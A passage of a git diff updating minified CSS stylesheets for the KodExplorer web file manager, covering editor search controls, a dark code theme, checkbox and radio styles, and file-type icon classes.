.search_total_num{padding-left:0.3em;padding-right:0.3em;}.search_content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search_content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search_content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid #ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search_content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.search_content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search_content .ace_search .ace_search_action{position:absolute;right:50px;}.search_content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search_content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search_content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search_content .ace_search .ace_search_form.ace_nomatch .search_info{color:#f00;font-weight:800;}.search_content .ace_search .search_info.search-first{color:#03a9f4;font-weight:800;}.search_content .ace_search .history-list{position:absolute;right:8px;}.search_content .ace_search .history-list .dropdown-menu:before{right:4px;}.search_content .ace_search .history-list .dropdown-menu:after{right:5px;}.search_content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search_content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search_content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .btn_background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .btn_background_hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn,.search_content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .ace_searchbtn:hover,.search_content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn:active,.search_content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search_content .ace_search .ace_searchbtn.next,.search_content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.next:hover,.search_content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn.prev,.search_content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.prev:hover,.search_content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code_theme_black{background:#333;}.code_theme_black pre{background:#333;}.code_theme_black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code_theme_black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code_theme_black div.tools .right .btn:hover{background:#474747;}.code_theme_black div.tools .line{border-color:#595959;}.code_theme_black div.tools a.select,.code_theme_black div.tools a.select:hover,.code_theme_black div.tools a:active,.code_theme_black div.tools a:hover{background:#595959;}.code_theme_black div.tools a .font-icon{color:#eef;text-shadow:none;}.code_theme_black div.tools .disable_mask{background:#000;}.code_theme_black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code_theme_black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code_theme_black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code_theme_black .context-menu-list .context-menu-item.hover,.code_theme_black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code_theme_black .context-menu-list .context-menu-item.hover .font-icon,.code_theme_black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.line_top{border-top:1px solid #666666 !important;}.code_theme_black .dropdown-menu{background:#595959;}.code_theme_black .dropdown-menu:before{right:4px;}.code_theme_black .dropdown-menu:after{border-top-color:#595959;}.code_theme_black .dropdown-menu li > a{color:#eef;}.code_theme_black .edit_tab .tabs{background:#333;border-bottom:1px solid #474747;}.code_theme_black .edit_tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code_theme_black .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code_theme_black .edit_tab .tabs .tab.hover{background:#474747;}.code_theme_black .edit_tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code_theme_black .edit_tab .tabs .add:hover{background:#666666;}.code_theme_black .edit_tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code_theme_black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code_theme_black .edit_content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code_theme_black .edit_content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code_theme_black .edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code_theme_black .edit_right_frame{background:#333;border-left:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .function_list_parent{background:#333;}.code_theme_black .edit_right_frame .function_list_box .list_row{color:#eef;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_hover{background:#3d3d3d;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_select{background:#63acff;}.code_theme_black .edit_right_frame .function_list_box .list_row.mark,.code_theme_black .edit_right_frame .function_list_box .list_row.class{background:#595959;}.code_theme_black .edit_right_frame .preview_url_tool,.code_theme_black .edit_right_frame .function_list_tool{border-bottom:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .preview_url_tool .box,.code_theme_black .edit_right_frame .function_list_tool .box{background:#333;color:#eef;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .box a,.code_theme_black .edit_right_frame .function_list_tool .box a{padding:0px 6px;}.code_theme_black .edit_right_frame .preview_url_tool .box a:hover,.code_theme_black .edit_right_frame .function_list_tool .box a:hover{border:1px solid #666666;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input,.code_theme_black .edit_right_frame .function_list_tool .input_content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input:focus,.code_theme_black .edit_right_frame .function_list_tool .input_content input:focus{box-shadow:none;}.code_theme_black .edit_right_frame .function_search input{color:#eef;border:1px solid #595959;background:#474747;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#666666;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{color:#3d3d3d;}.code_theme_black .edit_right_frame .markdown_help{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_help h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help h5{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help pre{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_menu_box{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_menu_box h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a{color:#ffa500;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a:hover{background:#666666;}.code_theme_black .edit_right_frame .markdown_setting{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul li.line{height:1px;background:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul a,.code_theme_black .edit_right_frame .markdown_setting ul a:visited{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a i{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover i{color:#eef;}.code_theme_black .edit_body{background:#333;}.code_theme_black .edit_body .bottom_toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code_theme_black .edit_body .bottom_toolbar a{color:#fff;}.code_theme_black .edit_body .bottom_toolbar a .font-icon{color:#eef;}.code_theme_black .edit_body .bottom_toolbar a:hover{color:#63acff;}.code_theme_black .edit_body .bottom_toolbar a.select{background:#666666;color:#fff;}.code_theme_black .edit_body .aui_icon,.code_theme_black .edit_body .aui_main{background:#333;}.code_theme_black .edit_body .aui_state_noTitle .aui_inner{border:1px solid #666666;}.code_theme_black .ace_text-input{background:#333;}.code_theme_black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code_theme_black .ace_search .ace_button:hover{background-color:#595959;}.code_theme_black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code_theme_black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code_theme_black .ace_search .ace_search_form.ace_nomatch .search_info{color:#f66;}.code_theme_black .ace_search .btn_background{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .btn_background_hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn,.code_theme_black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn:hover,.code_theme_black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.next,.code_theme_black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.next:hover,.code_theme_black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.prev,.code_theme_black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.prev:hover,.code_theme_black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code_theme_black .introduction{background:#3d3d3d;top:59px;}.code_theme_black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code_theme_black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code_theme_black .introduction .green{border-left:1px solid #3d3d3d;}.code_theme_black .context-menu-list .gotoline_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list{background:#474747;color:#eef;}.code_theme_black .code_mode_list li.list_input{background:#474747;}.code_theme_black .code_mode_list li.list_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list li.selected,.code_theme_black .code_mode_list li.selected.hover,.code_theme_black .code_mode_list li.hover{background:#666666;color:#fff;}.forceWap .edit_right_frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit_tab{display:none;}.forceWap .edit_body{top:29px;}.forceWap .ace_scroller{left:30px !important;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor_content{font-size:12px !important;}.forceWap .top_toolbar a[action="saveall"],.forceWap .top_toolbar a[action="refresh"],.forceWap .top_toolbar .menuViewGotoline{display:none;}@media screen and (max-width:600px){.topbar .content .top_right{ display:none;}} +/* ver 3.43(2017-04-12) [build 1491999047.5383] */ \ No newline at end of file diff --git a/static/style/skin/base/app_desktop.css b/static/style/skin/base/app_desktop.css index fe7e957..ead547b 100755 --- a/static/style/skin/base/app_desktop.css +++ b/static/style/skin/base/app_desktop.css @@ -1,4 +1,4 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589355.0501] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xb